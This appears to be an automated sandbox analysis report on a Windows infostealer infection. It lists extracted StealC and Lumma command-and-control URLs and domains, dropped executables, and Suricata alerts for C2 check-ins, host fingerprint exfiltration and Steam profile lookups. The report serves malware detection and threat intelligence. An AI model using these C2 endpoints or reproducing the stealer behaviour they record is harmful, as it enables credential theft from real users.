Source: 3.2.FAMTYULW1YWOKDICAUX3Y390M.exe.d0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: file.exe.3300.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["studennotediw.store", "dissapoiznw.store", "eaglepawnoy.store", "licendfilteo.site", "clearancek.site", "bathdoomgaz.store", "spirittunek.store", "mobbipenju.store"], "Build id": "4SD0y4--legendaryy"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\1000350002\014cda2328.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 92.122.104.90:443 -> 192.168.2.7:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.7:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.7:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.7:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.7:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.7:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.7:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.7:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.7:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:49961 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:49964 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.7:50020 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.7:50021 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.7:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.7:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.222.236.23:443 -> 192.168.2.7:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.7:50032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.7:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.7:50040 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.7:50044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.7:50043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.7:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.7:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.7:50046 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.7:50047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.100.48.249:443 -> 192.168.2.7:50051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.100.48.249:443 -> 192.168.2.7:50054 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.7:50055 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.7:50056 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.7:50057 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.7:50058 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.7:50059 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.7:62395 version: TLS 1.2

Source:	Binary string: UxTheme.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wininet.pdb source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC88000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: UMPDC.pdb source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC88000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: rsaenh.pdb source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC88000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: xWindows.Security.Integrity.pdb source: firefox.exe, 00000015.00000003.1939564900.0000010CA97F0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: bcrypt.pdb source: firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: rpcrt4.pdb source: firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ktmw32.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: WscApi.pdb source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC88000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: pnrpnsp.pdb source: firefox.exe, 00000015.00000003.1950016156.0000010CA4EAC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: msvcrt.pdb source: firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: webauthn.pdbGCTL source: firefox.exe, 00000015.00000003.1943335325.0000010CAB601000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: xul.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: shcore.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: nssckbi.pdb source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC88000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: cryptsp.pdb source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC88000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: shell32.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: sspicli.pdb source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC88000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: cryptsp.pdb0 4px 16px rgba(12, 12, 13, 0.1) source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC88000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ntmarta.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: CLBCatQ.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: urlmon.pdb source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC88000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: shlwapi.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: winhttp.pdb source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC88000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: netprofm.pdb source: firefox.exe, 00000015.00000003.1944889051.0000010CA4EA8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: msimg32.pdb source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC88000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ntasn1.pdb source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC88000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: win32u.pdb source: firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: d3d11.pdb source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC88000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: netprofm.pdbUGP source: firefox.exe, 00000015.00000003.1944889051.0000010CA4EA8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: firefox.pdb source: firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dbghelp.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: srvcli.pdb source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC88000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: freebl3.pdb source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC88000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: webauthn.pdb source: firefox.exe, 00000015.00000003.1943335325.0000010CAB601000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: profapi.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: gdi32.pdb source: firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ws2_32.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dbgcore.pdb8 source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: avrt.pdb source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC88000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: WLDP.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: sechost.pdb source: firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: propsys.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: z:\task_1551543573\build\openh264\gmpopenh264.pdb source: gmpopenh264.dll.tmp.21.dr
Source:	Binary string: winmm.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ole32.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: version.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dbgcore.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: user32.pdb source: firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: msasn1.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: z:\task_1551543573\build\openh264\gmpopenh264.pdbV source: gmpopenh264.dll.tmp.21.dr
Source:	Binary string: psapi.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: DWrite.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: pnrpnsp.pdbUGP source: firefox.exe, 00000015.00000003.1950016156.0000010CA4EAC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ncrypt.pdb source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC88000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wsock32.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: crypt32.pdb source: firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_0103DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	6_2_0103DBBE
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_0100C2A2 FindFirstFileExW,	6_2_0100C2A2
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_0104698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	6_2_0104698F
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_010468EE FindFirstFileW,FindClose,	6_2_010468EE
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_0103D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	6_2_0103D076
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_0103D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	6_2_0103D3A9
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_0104979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	6_2_0104979D
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_01049642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	6_2_01049642
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_01049B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	6_2_01049B2B
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_01045C97 FindFirstFileW,FindNextFileW,FindClose,	6_2_01045C97

Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	File opened: C:\Users\user~1\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	File opened: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	File opened: C:\Users\user~1\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	File opened: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	File opened: C:\Users\user~1\AppData\Local\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	File opened: C:\Users\user~1\AppData\	Jump to behavior

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 217MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.7:53025 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.7:53342 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.7:57514 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.7:64355 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.7:53429 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.7:63497 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.7:59203 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.7:63661 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49890 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.7:50048 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.7:63335 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.7:52568 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.7:63598 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.7:53049 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.7:55599 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.7:50049
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.7:56089 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.7:51695 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50052 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.7:52555 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.7:55555 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.7:57595 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.7:60857 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.7:59860 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.7:61659 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.7:50848 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.7:62802 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.7:56995 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.7:55953 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.7:49596 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.7:51983 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.7:50081 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.7:63031 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.7:53305 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.7:53088 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.7:62393 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.7:56907 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49773 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49738 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49738 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.7:49721 -> 92.122.104.90:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49804 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49732 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49732 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.7:50051 -> 95.100.48.249:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.7:50054 -> 95.100.48.249:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:50055 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50055 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:50056 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50056 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.7:62394 -> 23.192.247.89:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:50058 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:62397 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:62397 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.7:62396 -> 172.67.206.204:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: studennotediw.store
Source: Malware configuration extractor	URLs: dissapoiznw.store
Source: Malware configuration extractor	URLs: eaglepawnoy.store
Source: Malware configuration extractor	URLs: licendfilteo.site
Source: Malware configuration extractor	URLs: clearancek.site
Source: Malware configuration extractor	URLs: bathdoomgaz.store
Source: Malware configuration extractor	URLs: spirittunek.store
Source: Malware configuration extractor	URLs: mobbipenju.store
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: unknown

Network traffic detected: DNS query count 42

